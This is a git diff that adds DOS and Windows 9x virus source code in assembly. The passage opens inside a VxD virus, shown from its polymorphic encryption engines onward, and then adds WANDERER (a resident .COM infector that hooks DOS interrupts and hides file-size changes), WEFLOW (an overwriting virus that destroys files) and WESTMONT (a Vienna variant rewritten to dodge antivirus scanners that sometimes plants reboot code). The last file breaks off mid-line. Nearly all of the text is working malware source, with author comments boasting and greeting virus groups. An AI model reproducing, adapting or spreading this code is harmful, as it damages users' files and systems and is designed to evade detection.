[rgusg], 1000b + call mgarble + mov al, 06 ;push es + stosb + call mgarble + mov al, 53h ;push bx + stosb + call mgarble + mov al, 0cbh ;retf + stosb + ret + +mgarble: + push ecx + call rnd + and eax, 0111b + inc eax + mov ecx, eax ;1-8 garbage calls + @b9: + call garble + loop @b9 + pop ecx + ret + +maqfile: + mov byte ptr [gtype], gnf + @c0: + call rnd + or al, al + jz @c0 + mov byte ptr [key], al + call creg + mov byte ptr [cntreg], dl + bts word ptr [rgusg], dx + call rnd + and eax, 0111111111111b + add ax, word ptr [esi+edx*2] + add ax, VIRSIZE + mov word ptr [cntregv], ax + @c1: + call rnd + and eax, 011b + add al, al + add eax, offset32 crtbl + mov ax, word ptr [eax] + movzx edx, ah + bts word ptr [rgusg], dx + jc @c1 + mov byte ptr [pntreg], dl + mov byte ptr [encintr], al + mov ax, word ptr [esi+edx*2] + mov word ptr [pntregv], ax + mov dword ptr [strloop], edi + call mgarble + mov al, 80h + mov ah, byte ptr [encintr] + stosw + push edi + stosw + mov al, byte ptr [key] + stosb + call mgarble + mov al, 040h + or al, byte ptr [pntreg] + stosb + call mgarble + mov al, 040h + or al, byte ptr [cntreg] ;inc counter + stosb + call mgarble + mov ax, 0f881h + or ah, byte ptr [cntreg] + stosw + mov ax, word ptr [cntregv] + stosw + mov ax, 0074h + stosw + push edi + call mgarble + mov al, 0e9h + stosb + mov eax, edi + sub eax, dword ptr [strloop] + add eax, 2 + neg eax + stosw + call mgarble + pop ebp + mov ecx, edi + sub ecx, ebp + mov byte ptr [ebp-1], cl + call mgarble + call mgarble + mov word ptr [rgusg], 0 + pop ebp + + mov ecx, edi + sub ecx, [pDOSBase] + add ecx, 100h + + movzx eax, word ptr [pntregv] + sub ecx, eax + mov word ptr [ebp], cx + ret + +mxrg: + push eax + call rnd + and eax, 0111b + inc eax + mov ecx, eax + pop eax + @c3: + call rndf + jc @c4 + xchg eax, ebx ;randomize order + @c4: + call rndf + jc @c5 + xchg ebx, edx + @c5: + call rndf + jc @c6 + xchg edx, ebp + @c6: + call rndf + jc @c7 + xchg ebp, eax + @c7: + loop @c3 + ret + +garble: + cmp [maq], 0 + je artm + call rnd + and eax, 0111b + cmp eax, 0111b + jne artm + push ecx ;make a jump + call rnd + and eax, 0111b + add eax, 4 + mov ecx, eax + mov ah, 0ebh + xchg al, ah + stosw + ngrb: + call rnd + stosb + loop ngrb + pop ecx + ret + artm: + mov ebx, offset32 optbl + @d1: + call rnd + and eax, 0111b + gtype equ byte ptr $-1 + gfl = 0111b + gnf = 0011b + cmp al, 5 + ja @d1 + add al, al + mov ax, word ptr [ebx+eax] ;make aritm + mov byte ptr [opcode1], ah + mov byte ptr [opcode2], al + call creg + call gopc + ret + +creg: + call rnd + and eax, 0111b + cmp al, 4 + jne @e1 + inc al + @e1: + mov dl, al + bt word ptr [rgusg], dx ;used + jc creg + ret + +gopc: + mov bl, 12h + opcode1 equ byte ptr $-1 + mov al, 81h + cmp bl, 0c0h + jb @f1 + stosb + @f1: + mov al, bl + or al, dl + stosb + call rnd + stosw + mov bx, ax + mov ax, word ptr [flags] + sahf ;look this! + opcode2 equ byte ptr $+1 ;the decriptor depends + mov word ptr [esi+edx*2], bx ;of the garbage code! + lahf ;we keep track of all, regs + mov word ptr [flags], ax ;and flags!!!! :) + ret + +mrval: + push eax + call rnd + and eax, 011b ;ask a value... we make it + or eax, eax ;(in the requested reg) using + jz @g1 ;math and the current garbage + dec eax ;status! no more fixed movs :) + @g1: + add al, al + movzx eax, word ptr [offset32 fxtbl+eax] + or al, dl + xchg al, ah + mov byte ptr [opcode3], al + mov al, 81h + stosw + cmp byte ptr [opcode3], 3 ;(as you noticed, i'm very + pop eax ;proud of this engine) + jnz @g2 + neg eax + @g2: + movzx ebx, word ptr [esi+edx*2] + jmp @g3 + @g3: + xor eax, ebx + opcode3 equ byte ptr $-2 ;xor/add/sub + stosw + ret + +rnd: + push ecx + push edx + mov eax, 12345678h ;congruential something... :) + seed equ dword ptr $-4 + mov ecx, eax + imul eax, 41c64e6dh + add eax, 3039h ;thankz to GriYo... + ror ax, 1 ;(do you not imagine how hard + mov dword ptr [seed], eax ;is code a decent rnd routine) + xor eax, ecx + pop edx + pop ecx + ret + +rndf: + push eax + call rnd + pop eax + bt eax, 1 ;random z flag + ret + +pDOSBase dd 0 +maq db 0 +key db 0 +strloop dd 0 +cntregv dw 0 +cntreg db 0 +pntregv dw 0 +pntreg db 0 +encintr db 0 + +optbl dw 0b889h, 0f031h, 0c001h, 0e829h, 0d011h, 0d819h + ; MOV XOR ADD SUB ADC SBB +fxtbl dw 033f0h, 02bc0h, 003e8h + ; XOR ADD SUB +crtbl dw 03b7h, 05b6h, 06b4h, 07b5h + +flags dw 0 +rgusg dw 0 + +rgtbl equ this byte + _ax dw 0 + _cx dw 0 + _dx dw 0 + _bx dw 0 + _sp dw 0 + _bp dw 0 + _si dw 0 + _di dw 0 + +PolyDOSSize equ $ - offset32 gldr + + +peng: + push edi ;our 32bit poly engine + push edi + mov [totsize], ecx + cld + mov edi, offset32 crptbl + mov ecx, 101h + sub edx, edx + tlp: + mov byte ptr [edi+edx], dl + inc edx + loop tlp ;make linear table of values + mov edi, offset32 crptbl + mov ecx, 01111b + tlp2: + call rnd255 ;randomize table + mov ebx, eax + call rnd255 + mov dl, byte ptr [edi+ebx] + xchg dl, byte ptr [edi+eax] ;keep exchanging some bytes + mov byte ptr [edi+ebx], dl + loop tlp2 + pop edi + mov [reg32], 00010000b ;set esp as used + call garble32 + mov [reg32], 00110000b ;set esp/ebp as used + call get8reg + mov [tmp], eax + call get32_16reg + mov [tpointer], eax + call get32_16reg + mov [dpointer], eax + call get32_16reg + mov [tmp2], eax + call get32_16reg + mov [counter], eax ;choose regs + call garble32 + push offset32 mdecr ;return adress + mov ebp, offset32 mcounter + mov ebx, offset32 mpointer + mov edx, offset32 mdpointer + call rnd + and eax, 0111b + inc eax + mov ecx, eax + mixer1: + call rndf + jc m11 + xchg ebp, ebx + m11: + call rndf + jc m12 + xchg edx, ebx + m12: + call rndf + jc m13 + xchg edx, ebp + m13: + loop mixer1 ;randomize calling order + push ebp + push ebx + push edx + ret + mdecr: + mov [lstart], edi + call garble32 + mov ax, 1011011000001111b + stosw ;movzx d tmp2, [reg1+reg2] + mov eax, [tmp2] + shl eax, 3 + or al, 100b + stosb + mov eax, [tpointer] + shl eax, 3 + or eax, [dpointer] + stosb + push eax + call garble32 + mov al, 10001010b + stosb ;mov b tmp, [reg1+tmp2] + mov eax, [tmp] + shl eax, 3 + or al, 100b + stosb + push eax + mov eax, [tpointer] + shl eax, 3 + mov ebx, [tmp2] + or eax, ebx + stosb + mov al, 10001000b + stosb ;mov b [reg1+reg2], tmp + pop eax + stosb + pop eax + stosb + call garble32 + push offset32 mcontinue + mov ebx, offset32 inc_pointer + mov edx, offset32 dec_counter + call rndf + jc m2 + xchg edx, ebx ;randomize order + m2: + push ebx + push edx + ret + mcontinue: + call garble32 + mov al, 0bh + stosb + mov eax, [counter] + shl eax, 3 + or eax, [counter] + or al, 11000000b + stosb ;or reg, reg + mov eax, 850fh + stosw + mov eax, [lstart] ;386+ jne + sub eax, edi + sub eax, 4 + stosd + mov [reg32], 00010000b ;set esp as used + call garble32 + call garble32 + mov ecx, edi + sub ecx, [tblstrt] ;calculate start of code + mov esi, [pmdptr] ;to decript(delta-based) + mov [esi], ecx + pop edx + mov ecx, edi + sub ecx, edx ;exit with correct regs + ret + +inc_pointer: + mov eax, 40h ;inc + or eax, [dpointer] + stosb + call garble32 + ret + +dec_counter: + mov eax, 48h ;dec + or eax, [counter] + stosb + call garble32 + ret + +mcounter: + mov eax, 0b8h ;mov + or eax, [counter] + stosb + mov eax, [totsize] + stosd + call garble32 + ret + +mpointer: + mov al, 0e8h + stosb + mov ecx, 255+1 + mov eax, ecx + stosd ;do call + mov [tblstrt], edi + mov esi, offset32 crptbl + rep movsb ;zopy table + mov eax, 58h ;do pop + or eax, [tpointer] + stosb + call garble32 + ret + +mdpointer: + mov eax, 0b8h ;mov + or eax, [dpointer] + stosb + mov [pmdptr], edi + stosd + call garble32 + ret + +gar: + call rnd ;get any reg + and eax, 0111b + cmp al, 4 ;sp never + je gar + ret + +get32_16reg: ;get a free 32/16bit reg + call gar + bts [reg32], eax + jc get32_16reg + ret + +get8reg: ;get a free 8bit reg + call rnd ;al,cl,dl,bl + and eax, 0011b + bts [reg32], eax + jc get8reg + call rndf + jc ntg + or al, 0100b ;ah,ch,dh,bh + ntg: + ret + +garble32: + pushad + cmp byte ptr [rlevel], 3 + je maxr + inc byte ptr [rlevel] + call rnd + and eax, 0111b + mov ecx, eax + inc ecx + ng32: + push ecx + call rnd + and eax, 01111b + shl eax, 2 + add eax, offset32 gtbl + call dword ptr [eax] + pop ecx + loop ng32 + dec byte ptr [rlevel] + maxr: + mov dword ptr [esp], edi ;change stack copy of edi + popad + ret + +gtbl equ this byte + dd offset32 subr ;silly garblers :( + dd offset32 subr + dd offset32 jmps + dd offset32 jmps + dd offset32 jmps + dd offset32 jmps ;no time to code good ones... + dd offset32 jcc + dd offset32 jcc + dd offset32 jcc + dd offset32 jcc + dd offset32 calls + dd offset32 calls + dd offset32 calls + dd offset32 calls + dd offset32 calls + dd offset32 calls + +jcc: + call rnd ;do jump conditional with + and eax, 0fh ;real displacement(no shitty + or eax, 0f80h ;$+2 thingie) + xchg al, ah + stosw + stosd + push edi + call garble32 + pop esi + mov ecx, edi + sub ecx, esi + mov dword ptr [esi-4], ecx + ret + +jmps: + mov al, 0e9h ;do jump + stosb + stosd + push edi + call rnd + and eax, 0111b + inc eax + mov ecx, eax + njnk: + call rnd ;fill with junk + stosb + loop njnk + pop esi + mov ecx, edi + sub ecx, esi + mov dword ptr [esi-4], ecx + ret + +subr: ;make call to subroutine + cmp dword ptr [subad], 0 + jz ncall ;a subroutine was coded? + mov al, 0e8h + stosb + mov eax, edi + sub eax, dword ptr [subad] ;calc subr address + add eax, 4 + neg eax + stosd + ncall: + ret + +calls: + cmp dword ptr [subad], 0 ;make subroutine + jne ncall + mov al, 0e9h ;the old thing... + stosb + stosd ;jump @@1 + push edi ;@@2: + call garble32 ;*garbage* + mov al, 0c3h ;*garbage* + stosb ;ret + pop esi ;@@1: + mov ecx, edi + sub ecx, esi + mov dword ptr [esi-4], ecx + mov dword ptr [subad], esi ;store sub address + ret + +rnd255: + call rnd + and eax, 011111111b + ret + +encript_pe: + pushad + mov ecx, dword ptr [totsize] ;our poly engine isnt a + mov ebx, offset32 crptbl ;cyclical decriptor using + ecrt: ;xor/add/sub or like... + lodsb + push ecx ;we use a substitution scheme, + push edi ;based in a table... This way, + mov ecx, 100h ;'A'=='2' '#'=='x' and so... + mov edi, ebx ;no virus i know use this + repne scasb + dec edi + sub edi, ebx + mov eax, edi ;eax hold offset into table + pop edi + pop ecx + stosb + loop ecrt + mov [esp], edi ;setup edi copy in stack + popad + ret + +subad dd 0 +rlevel db 0 +tmp dd 0 +tmp2 dd 0 +tpointer dd 0 +dpointer dd 0 +counter dd 0 +pmdptr dd 0 +tblstrt dd 0 +lstart dd 0 +reg32 dd 0 +totsize dd 0 + + +BeginProc CRC16 + push ebx + push ecx + mov ebx, 0a001h + mov edi, offset32 CrcTab + xor edx, edx + crc16nb: + mov ax, dx + mov cx, 8 + crc16l: + shr ax, 1 + jae crc16sk + xor ax, bx + crc16sk: + loop crc16l + stosw ;make da table + inc edx + cmp edx, 512 + jne crc16nb + pop ecx + xor eax, eax + CRC16Loop: + xor ebx, ebx + mov bl, al + lodsb + xor bl, al + shl bx, 1 + mov bx, word ptr [CrcTab+bx] ;make CRC16 of it + xor bl, ah + mov eax, ebx + loop CRC16Loop + pop ebx + ret +EndProc CRC16 + + + +BeginProc Random4Name + mov dword ptr [edi], 'AAAA' ;setup base name + mov ecx, 4 + in al, 40h + mov ah, al + NextLetter: + in al, 40h + xor al, ah + mov ah, al + and al, 01111b + add byte ptr [edi], al ;add random values to make + inc edi ;random letter, to obtain a + loop NextLetter ;random name! :) + in al, 40h + cmp al, 80h + mov eax, 12345678h + org $-4 + db '.', 'C', 'O', 'M' + jb PutThisOne ;put a .COM extension + mov eax, 12345678h + org $-4 + db '.', 'E', 'X', 'E' + PutThisOne: + mov [edi], eax ;or a .EXE one + ret +EndProc Random4Name + + + +BeginProc FONO98_Control + Control_Dispatch Init_Complete, FONO98_Device_Init + clc ;our init procedure... + ret ;other virus wait for more +EndProc FONO98_Control ;calls... but i did only this + ;one and it worked, so... + + +VxD_Locked_Code_Ends + +End diff --git a/w/WANDERER.ASM b/w/WANDERER.ASM new file mode 100755 index 0000000..d81eb7a --- /dev/null +++ b/w/WANDERER.ASM @@ -0,0 +1,195 @@ +virus segment public 'code' + assume cs:virus,ds:virus,es:virus + org 0 + +VirusSize equ VirusEnd-$ + +Com: call Begin + call Label2 + +SavedCode: + mov ax,4c00h + int 21h + + org SavedCode+5h + +Label2: pop si + mov di,100h + push di + movsw + movsw + movsb + ret + +Begin: push ds + push es + push ax + xor ax,ax + mov ds,ax + mov ds,ds:[46ah] + cmp Signature,0ACDCh + je Exit + mov ah,4ah + mov bx,-1 + int 21h + sub bx,VirusParas1 + jb Exit + add bh,10h + mov ah,4ah + int 21h + mov ah,48h + mov bx,VirusParas2 + int 21h + jb Exit + dec ax + mov es,ax + inc ax + mov es:[1],ax + mov es,ax + push cs + pop ds + call Label1 +Label1: pop si + sub si,offset Label1 + xor di,di + push di + mov cx,VirusSize + rep movsb + pop ds + mov ax,ds:[84h] + mov word ptr es:OldInt21[0],ax + mov ax,ds:[86h] + mov word ptr es:OldInt21[2],ax + mov byte ptr ds:[467h],0eah + mov word ptr ds:[468h],offset NewInt21 + mov ds:[46ah],es + mov word ptr ds:[84h],7 + mov word ptr ds:[86h],46h +Exit: pop ax + pop ds + pop es + ret + +Header db 0e9h + dw 0 +Signature dw 0ACDCh + +NewInt21: + cmp ah,4bh + jne on1 + jmp exec +on1: cmp ah,4eh + je find + cmp ah,4fh + je find + jmp EOI + + Db ' As wolfs among sheep we have wandered ' + +Find: call interrupt ; call orginal interrupt + jc Ret1 ; error ? + pushf ; save registers + push ax + push bx + push es + mov ah,2fh + call interrupt + mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ah],VirusSize ; change file-size + sbb word ptr es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h ; adjust file-time +FileOk: pop es ; restore registers + pop bx + pop ax + popf +ret1: retf 2 + +Exec: push ax + push bx + push cx + push dx + push ds + mov ax,3d02h + call Interrupt + jc short Error + push cs + pop ds + mov bx,ax + mov ah,3fh + mov cx,5h + mov dx,offset SavedCode + call DOS + cmp word ptr cs:SavedCode,'ZM' + je short TheEnd +ComFile:cmp word ptr cs:SavedCode[3],0ACDCh + je short TheEnd + mov al,02h + call Seek + or dx,dx + cmp ah,0f6h + je short Close + sub ax,5 + inc ax + inc ax + mov word ptr ds:Header[1],ax + mov ax,5700h + call dos + push cx + push dx + mov ah,40h + mov cx,VirusSize + xor dx,dx + call DOS + mov al,00h + call Seek + mov ah,40h + mov cx,5 + mov dx,offset Header + call dos +Close: mov ax,5701h + pop dx + pop cx + or cl,1fh + call dos +TheEnd: mov ah,3eh + call Interrupt +Error: pop ds + pop dx + pop cx + pop bx + pop ax + +EOI: db 0eah ; jmp 0:0 +OldInt21 dd 026b1465h + +Seek: mov ah,42h + xor cx,cx + xor dx,dx + +DOS: call Interrupt + jnc Ok + pop ax + jmp Close + +Interrupt: + pushf + call cs:OldInt21 +Ok: ret + +VirusEnd equ $ + +VirusParas1 equ (VirusSize+1fh)/10h+1000h +VirusParas2 equ (VirusSize+0fh)/10h + +virus ends + +end + + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/w/WEFLOW.ASM b/w/WEFLOW.ASM new file mode 100755 index 0000000..ff3adc9 --- /dev/null +++ b/w/WEFLOW.ASM @@ -0,0 +1,35 @@ +;| +;| WEFLOW 1993 VIRUS BY TESLA 5 +;| +;| THIS VIRUS IS BASED ON THE TRIDENT OVERWRITING VIRUS. SORRY FOR +;| LAMING AROUND, BUT IT KEEPS VARIANTS RISING. GREETINGS TO TRIDENT, +;| NUKE, PHALCON/SKISM AND YAM. YOU DON'T KNOW ME, BUT I DO... +;| + ORG 100H + +MAIN: MOV AH,4EH +NOTSOCOOL: LEA DX,FF + INT 21H + JNC COOL + RET + +COOL: MOV AX,3D02H + MOV DX,9EH + INT 21H + + XCHG AX,BX + MOV CL,VLEN + MOV AH,40H + INT 21H + + MOV AH,3EH + INT 21H + + MOV AH,4FH + JMP NOTSOCOOL + +FF DB '*.*',0 + + DB 'WEFLOW93' + +VLEN EQU $-MAIN diff --git a/w/WESTMONT.ASM b/w/WESTMONT.ASM new file mode 100755 index 0000000..5b831f1 --- /dev/null +++ b/w/WESTMONT.ASM @@ -0,0 +1,597 @@ +; Westmont: A vienna strain +; This is a variation on the Vienna virus which has had sections of its +; code moved around and rewritten in hopes that AV software will +; not be able to recognize it. The seconds flag used to make sure +; that a file isn't infected twice has been modified to 61. The +; check for DOS v1.x has been deleted. Thanks to 40Hex for the +; source to the original Vienna. What a novice (me) can do with +; well documented code! +;------------------------------------------------------------------------------ + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +;***************************************************************************** +;Start out with a JMP around the remains of the original .COM file, into the +;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS. +;The rest of the file (first 3 bytes) are stored in the virus data area. +;***************************************************************************** + +VCODE: JMP virbeg + +;This was the rest of the original .COM file. Tiny and simple, this time + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +;************************************************************ +; The actual virus starts here +;************************************************************ + +v_start equ $ + +virbeg: JMP codesrt ; Jump around signature + DB "Westmont",0 + DB "Ender" +codesrt: + CALL memtrick ; Call offset setting procedure + JMP find_path ; Start ifect routine + +;********************************************************************** +; Here when it's time to close it up & end +;********************************************************************** + +all_done: + PUSH DS + +;********************************************************************** +; Restore old DTA +;********************************************************************** + + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + + POP DS + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + + RET 0FFFFH + + +; Infection routine +; ~~~~~~~~~~~~~~~~~ + +;************************************************************ +; Find the "PATH=" string in the environment +;************************************************************ + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +;************************************************************ +; Loop to check for the next four characters +;************************************************************ + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + +;********************************************************** +; Look in the PATH for more subdirectories, if any +;********************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + +;********************************************************** +; Here if there are more subdirectories in the path +;********************************************************** + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + +;*********************************************************** +; Move subdirectory name into file name workspace +;*********************************************************** + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +;****************************************************************** +; Mark the fact that we're looking through the final subdirectory +;****************************************************************** + +moved_last_one: + MOV SI,0 + +;****************************************************************** +; Here after we've moved a subdirectory +;****************************************************************** + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + +;****************************************************************** +; Make sure subdirectory ends in a "\" +;****************************************************************** + + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + +;****************************************************************** +; Here after we know there's a backslash at end of subdir +;****************************************************************** + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + + MOV SI,BX + +;******************************************************************* +; Find first string matching *.COM +;******************************************************************* + + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + + JMP SHORT find_first + +;******************************************************************* +; Find next ASCIIZ string matching *.COM +;******************************************************************* + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +;******************************************************************* +; Here when we find a file +;******************************************************************* + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +;******************************************************************** +; Move the name to the end of the path +;******************************************************************** + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + +;******************************************************************** +; Get File Attributes +;******************************************************************** + + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + + MOV [SI+old_att],CX ;Save the old attributes + +;******************************************************************** +; Rewrite the attributes to allow writing to the file +;******************************************************************** + + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + +;******************************************************************** +; Open Read/Write channel to the file +;******************************************************************** + + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +;******************************************************************* +; Get the file date & time +;******************************************************************* + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + +;******************************************************************* +; Get current system time +;******************************************************************* + + MOV AH,2CH + INT 21H + + AND DH,7 ;Last 3 bits 0? (once in eight) + JNZ seven_in_eight + +;******************************************************************* +; The special "one in eight" infection. If the above line were in +; its original form, this code would be run 1/8 of the time, and +; rather than appending a copy of this virus to the .COM file, the +; file would get 5 bytes of code that reboot the system when the +; .COM file is run. +;******************************************************************* + + MOV AH,40H ;Write to file + MOV CX,5 ;Five bytes + MOV DX,SI + ADD DX,reboot ;Offset of reboot code in data area + INT 21H + + JMP SHORT fix_time_stamp + + NOP + +;****************************************************************** +; Here's where we infect a .COM file with this virus +;****************************************************************** + +seven_in_eight: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + + JB fix_time_stamp ;Quit, if read failed + + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + +;****************************************************************** +; Move file pointer to end of file +;****************************************************************** + + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Quit, if it didn't work + + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + +;******************************************************************* +; Write virus code to file +;******************************************************************* + + MOV AH,40H + + MOV_CX virlen ;Length of virus, in bytes + + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + + JB fix_time_stamp ;Jump if error + + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + +;********************************************************************** +; Move file pointer to beginning of the file +;********************************************************************** + + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Jump if error + +;********************************************************************** +; Write the 3 byte JMP at the start of the file +;********************************************************************** + + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + +;********************************************************************** +; Restore old file date & time, with seconds modified to 62 +;********************************************************************** + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + +;********************************************************************** +; Close File +;********************************************************************** + + MOV AH,3EH + INT 21H + +;********************************************************************** +; Restore Old File Attributes +;********************************************************************** + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + JMP all_done +; Offset setting procedure +; ~~~~~~~~~~~~~~~~~~~~~~~~ +memtrick: + PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + + PUSH ES + MOV AH,2FH + INT 21H + +;************************************************************* +; Save the DTA address +;************************************************************* + + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + + POP ES + +;************************************************************* +; Set DTA to point inside the virus data area +;************************************************************* + + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + RET + +;************************************************************************ +;The virus data starts here. It's accessed off the SI register, per the +; comments as shown +;************************************************************************ + +vir_dat EQU $ + + ;Use this with (SI + old_dta) +olddta_ DW 0 ;Old DTA offset + + ;Use this with (SI + old_dts) +olddts_ DW 0 ;Old DTA segment + + ;Use this with (SI + old_tim) +oldtim_ DW 0 ;Old Time + + ;Use this with (SI + ol_date) +oldate_ DW 0 ;Old date + + ;Use this with (SI + old_att) +oldatt_ DW 0 ;Old file attributes + +;Here's where the first three bytes of the original .COM file go.(SI + first_3) + +first3_ EQU $ + INT 20H + NOP + +;Here's where the new JMP instruction is worked out + + ;Use this with (SI + jmp_op) +jmpop_ DB 0E9H ;Start of JMP instruction + + ;Use this with (SI + jmp_dsp) +jmpdsp_ DW 0 ;The displacement part + +;This is the type of file we're looking to infect. (SI + f_spec) + +fspec_ DB '*.COM',0 + + ;Use this with (SI + path_ad) +pathad_ DW 0 ;Path address + + ;Use this with (SI + nam_ptr) +namptr_ DW 0 ;Pointer to start of file name + + ;Use this with (SI + env_str) +envstr_ DB 'PATH=' ;Find this in the environment + + ;File name workspace (SI + wrk_spc) +wrkspc_ DB 40h dup (0) + + ;Use this with (SI + dta) +dta_ DB 16h dup (0) ;Temporary DTA goes here + + ;Use this with (SI + dta_tim) +dtatim_ DW 0,0 ;Time stamp in DTA + + ;Use this with (SI + dta_len) +dtalen_ DW 0,0 ;File length in the DTA + + ;Use this with (SI + dta_nam) +dtanam_ DB 0Dh dup (0) ;File name in the DTA + + ;Use this with (SI + reboot) +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +;***************************************************************************** +;The virus needs to know a few details about its own size and the size of its +; code portion. Let the assembler figure out these sizes automatically. +;***************************************************************************** + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = 